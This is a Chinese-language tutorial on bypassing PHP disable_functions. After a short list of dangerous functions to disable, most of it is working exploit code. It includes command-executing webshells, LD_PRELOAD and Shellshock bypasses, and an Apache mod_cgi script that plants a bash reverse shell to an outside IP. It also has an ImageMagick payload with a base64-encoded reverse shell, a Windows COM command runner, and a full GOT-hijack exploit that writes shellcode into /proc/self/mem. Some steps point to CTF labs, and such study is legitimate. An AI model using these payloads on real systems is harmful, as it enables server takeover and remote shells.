php disable_functions绕过总结
零、php需要禁用的函数
phpinfo()
功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。
危险等级:中
passthru()
功能描述:允许执行一个外部程序并回显输出,类似于 exec()。
危险等级:高
exec()
功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。
危险等级:高
system()
功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。
危险等级:高
chroot()
功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式
PHP 时才能工作,且该函数不适用于 Windows 系统。
危险等级:高
scandir()
功能描述:列出指定路径中的文件和目录。
危险等级:中
chgrp()
功能描述:改变文件或目录所属的用户组。
危险等级:高
chown()
功能描述:改变文件或目录的所有者。
危险等级:高
shell_exec()
功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。
危险等级:高
proc_open()
功能描述:执行一个命令并打开文件指针用于读取以及写入。
危险等级:高
proc_get_status()
功能描述:获取使用 proc_open() 所打开进程的信息。
危险等级:高
error_log()
功能描述:将错误信息发送到指定位置(文件)。
安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,
执行任意命令。
危险等级:低
ini_alter()
功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。
具体参见 ini_set()。
危险等级:高
ini_set()
功能描述:可用于修改、设置 PHP 环境配置参数。
危险等级:高
ini_restore()
功能描述:可用于恢复 PHP 环境配置参数到其初始值。
危险等级:高
dl()
功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。
危险等级:高
pfsockopen()
功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。
危险等级:高
syslog()
功能描述:可调用 UNIX 系统的系统层 syslog() 函数。
危险等级:中
readlink()
功能描述:返回符号连接指向的目标文件内容。
危险等级:中
symlink()
功能描述:在 UNIX 系统中建立一个符号链接。
危险等级:高
popen()
功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。
危险等级:高
stream_socket_server()
功能描述:建立一个 Internet 或 UNIX 服务器连接。
危险等级:中
putenv()
功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数
修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。
危险等级:高
禁用方法如下:
打开/etc/php.ini文件,
查找到 disable_functions ,添加需禁用的函数名,如下:
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen
一、常规绕过
<?php echo exec('whoami');?>
<?php echo shell_exec('whoami');?>
<?php system('whoami');?>
<?php passthru("whoami");?>
<?php
$command=$_GET['cmd'];
$handle = popen($command , "r");
while(!feof($handle)) {
echo fread($handle, 1024);
}
pclose($handle);?>
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1])) {
echo fread($pipes[1], 1024);}
?>
<?php passthru("whoami");?>
二、利用环境变量LD_PRELOAD绕过
1、mail
1、漏洞环境:
https://www.ctfhub.com/#/skilltree
2、前提条件:
1. 能够上传自己的.so文件
2. 能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数
3. 存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等
3、基本原理
利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。
4、工具下载地址
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
5、利用步骤
a.将bypass_disablefunc_x64.so传入tmp目录下
b.将bypass_disablefunc.php传入tmp目录下
c.然后利用一句话木马,包含bypass_disablefunc.php从而执行cmd命令
http://challenge-44c0c4efa761bc9b.sandbox.ctfhub.com:10800/index.php/?ant=eval($_GET[1]);&1=include(%27/tmp/bypass_disablefunc.php%27);&cmd=whoami&outpath=/tmp/1.txt&sopath=/tmp/bypass_disablefunc_x64.so
该环境禁用了如下的function:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system
2、error_log
将上述mail例子中的mail("", "", "", "");替换为error_log("",1,"","");
3、mb_send_mail
将上述mail例子中的mail("", "", "", "");替换为mb_send_mail()("",1,"","");
4、可以利用蚁剑插件(绕过disable_functions)
将生成新的shell名为,.antproxy.php,连接即可。
三、shellshock
1、漏洞说明传送门
https://wooyun.js.org/drops/Shellshock漏洞回顾与分析测试.html
2、漏洞环境
暂无
AntSword 虚拟终端中已经集成了对 ShellShock 的利用, 直接在虚拟终端执行命令即可
3、php脚本调用
<?php
function runcmd($c){
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if(substr($d, 0, 1) == "/" && function_exists('putenv') && (function_exists('error_log') || function_exists('mail'))){
if(strstr(readlink("/bin/sh"), "bash")!=FALSE){
$tmp=tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (function_exists('error_log')) {
error_log("a", 1);
}else{
mail("a@127.0.0.1", "", "", "-bv");
}
}else{
print("Not vuln (not bash)\n");
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output!=""){
print($output);
}else{
print("No output, or not vuln.");
}
}else{
print("不满足使用条件");
}
}
// runcmd("whoami"); // 要执行的命令
runcmd($_REQUEST["cmd"]); // ?cmd=whoami
?>
四、Apache Mod CGI
1、简单说明
如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令
2、使用条件
1、apache环境
2、mod_cgi已经启用
3、必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
4、必须有权限写.htaccess文件
3、漏洞环境
https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/3
4、蚁剑插件
使用后会弹出个新的虚拟终端,即可执行命令
5、反弹shell的EXP
<?php
$cmd = "bash -i >& /dev/tcp/192.168.110.186/4444 0>&1";
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>
上传并访问如上php,即可生成一个.htaccess文件和一个shell.dizzle文件,在访问shell.dizzle即可反弹shell
1、访问shell.php
http://192.168.110.186:18080/shell.php?checked=true
2、监听好端口,访问shell.dizzle
http://192.168.110.186:18080/shell.dizzle
五、PHP-FPM
1、漏洞原理
传送门:https://www.anquanke.com/post/id/193117?from=groupmessage#h3-7
2、漏洞环境
https://www.ctfhub.com/#/skilltree
3、蚁剑脚本
连接.antproxy.php即可
六、GC UAF、Json Serializer UAF、Backtrace UAF
1、EXP工具环境
https://github.com/mm0r1/exploits
蚁剑插件
2、漏洞环境
https://www.ctfhub.com/#/skilltree
七、ImageMagick
1、基本原理
ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。
2、版本条件
imageMagick 版本 v6.9.3-9 或 v7.0.1-0
3、漏洞环境
https://github.com/vulhub/vulhub
4、漏洞复现
反弹shell POC
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg?`echo YmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMTAuMTg2LzQ0NDQgMD4mMQ== | base64 -d | bash`"||id " )'
pop graphic-context
不知为啥反弹失败
八、COM组件
1、条件
1.com.allow_dcom = true
2.extension=php_com_dotnet.dll
3.php>5.4
4.目标服务器为Windows系统
2、漏洞exp
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
print($stroutput);
?>
九、劫持got表绕过diable_function
1、文章传送门
2、exp代码
<?php /***
*
* BUG修正请联系我
* @author
* @email xiaozeend@pm.me *
*/
/*
section tables type
*/
define('SHT_NULL',0);
define('SHT_PROGBITS',1);
define('SHT_SYMTAB',2);
define('SHT_STRTAB',3);
define('SHT_RELA',4);
define('SHT_HASH',5);
define('SHT_DYNAMIC',6);
define('SHT_NOTE',7);
define('SHT_NOBITS',8);
define('SHT_REL',9);
define('SHT_SHLIB',10);
define('SHT_DNYSYM',11);
define('SHT_INIT_ARRAY',14);
define('SHT_FINI_ARRAY',15);
//why does section tables have so many fuck type
define('SHT_GNU_HASH',0x6ffffff6);
define('SHT_GNU_versym',0x6fffffff);
define('SHT_GNU_verneed',0x6ffffffe);
class elf{
private $elf_bin;
private $strtab_section=array();
private $rel_plt_section=array();
private $dynsym_section=array();
public $shared_librarys=array();
public $rel_plts=array();
public function getElfBin()
{
return $this->elf_bin;
}
public function setElfBin($elf_bin)
{
$this->elf_bin = fopen($elf_bin,"rb");
}
public function unp($value)
{
return hexdec(bin2hex(strrev($value)));
}
public function get($start,$len){
fseek($this->elf_bin,$start);
$data=fread ($this->elf_bin,$len);
rewind($this->elf_bin);
return $this->unp($data);
}
public function get_section($elf_bin=""){
if ($elf_bin){
$this->setElfBin($elf_bin);
}
$this->elf_shoff=$this->get(0x28,8);
$this->elf_shentsize=$this->get(0x3a,2);
$this->elf_shnum=$this->get(0x3c,2);
$this->elf_shstrndx=$this->get(0x3e,2);
for ($i=0;$i<$this->elf_shnum;$i+=1){
$sh_type=$this->get($this->elf_shoff+$i*$this->elf_shentsize+4,4);
switch ($sh_type){
case SHT_STRTAB:
$this->strtab_section[$i]=
array(
'strtab_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'strtab_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8)
);
break;
case SHT_RELA:
$this->rel_plt_section[$i]=
array(
'rel_plt_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'rel_plt_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8),
'rel_plt_entsize'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+56,8)
);
break;
case SHT_DNYSYM:
$this->dynsym_section[$i]=
array(
'dynsym_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'dynsym_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8),
'dynsym_entsize'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+56,8)
);
break;
case SHT_NULL:
case SHT_PROGBITS:
case SHT_DYNAMIC:
case SHT_SYMTAB:
case SHT_NOBITS:
case SHT_NOTE:
case SHT_FINI_ARRAY:
case SHT_INIT_ARRAY:
case SHT_GNU_versym:
case SHT_GNU_HASH:
break;
default:
// echo "who knows what $sh_type this is? ";
}
}
}
public function get_reloc(){
$rel_plts=array();
$dynsym_section= reset($this->dynsym_section);
$strtab_section=reset($this->strtab_section);
foreach ($this->rel_plt_section as $rel_plt ){
for ($i=$rel_plt['rel_plt_offset'];$i<$rel_plt['rel_plt_offset']+$rel_plt['rel_plt_size'];$i+=$rel_plt['rel_plt_entsize'])
{
$rel_offset=$this->get($i,8);
$rel_info=$this->get($i+8,8)>>32;
$fun_name_offset=$this->get($dynsym_section['dynsym_offset']+$rel_info*$dynsym_section['dynsym_entsize'],4);
$fun_name_offset=$strtab_section['strtab_offset']+$fun_name_offset-1;
$fun_name='';
while ($this->get(++$fun_name_offset,1)!=""){
$fun_name.=chr($this->get($fun_name_offset,1));
}
$rel_plts[$fun_name]=$rel_offset;
}
}
$this->rel_plts=$rel_plts;
}
public function get_shared_library($elf_bin=""){
if ($elf_bin){
$this->setElfBin($elf_bin);
}
$shared_librarys=array();
$dynsym_section=reset($this->dynsym_section);
$strtab_section=reset($this->strtab_section);
for($i=$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_entsize'];$i<$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_size'];$i+=$dynsym_section['dynsym_entsize'])
{
$shared_library_offset=$this->get($i+8,8);
$fun_name_offset=$this->get($i,4);
$fun_name_offset=$fun_name_offset+$strtab_section['strtab_offset']-1;
$fun_name='';
while ($this->get(++$fun_name_offset,1)!=""){
$fun_name.=chr($this->get($fun_name_offset,1));
}
$shared_librarys[$fun_name]=$shared_library_offset;
}
$this->shared_librarys=$shared_librarys;
}
public function close(){
fclose($this->elf_bin);
}
public function __destruct()
{
$this->close();
}
public function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
}
$test=new elf();
$test->get_section('/proc/self/exe');
$test->get_reloc();
$open_php=$test->rel_plts['open'];
$maps = file_get_contents('/proc/self/maps');
preg_match('/(\w+)-(\w+)\s+.+\[stack]/', $maps, $stack);
preg_match('/(\w+)-(\w+).*?libc-/',$maps,$libcgain);
$libc_base = "0x".$libcgain[1];
echo "Libc base: ".$libc_base."\n";
echo "Stack location: ".$stack[1]."\n";
$array_tmp = explode('-',$maps);
$pie_base = hexdec("0x".$array_tmp[0]);
echo "PIE base: ".$pie_base."\n";
$test2=new elf();
$test2->get_section('/usr/lib64/libc-2.17.so');
$test2->get_reloc();
$test2->get_shared_library();
$sys = $test2->shared_librarys['system'];
$sys_addr = $sys + hexdec($libc_base);
echo "system addr:".$sys_addr."\n";
$mem = fopen('/proc/self/mem','wb');
$shellcode_loc = $pie_base + 0x2333;
fseek($mem,$open_php);
fwrite($mem,$test->packlli($shellcode_loc));
$command=$_GET['cmd'];//我们要执行的命令
$stack=hexdec("0x".$stack[1]);
fseek($mem, $stack);
fwrite($mem, "{$command}\x00");
$cmd = $stack;
$shellcode = "H\xbf".$test->packlli($cmd)."H\xb8".$test->packlli($sys_addr)."P\xc3";
fseek($mem,$shellcode_loc);
fwrite($mem,$shellcode);
readfile('zxhy');
exit();
usage:url?cmd=要执行的命令
注意命令无回显,建议命令结果写入文件(写入到可写文件的地方,如/tmp),再去该目录读文件(默认已有shell)。反弹shell就更不用说了。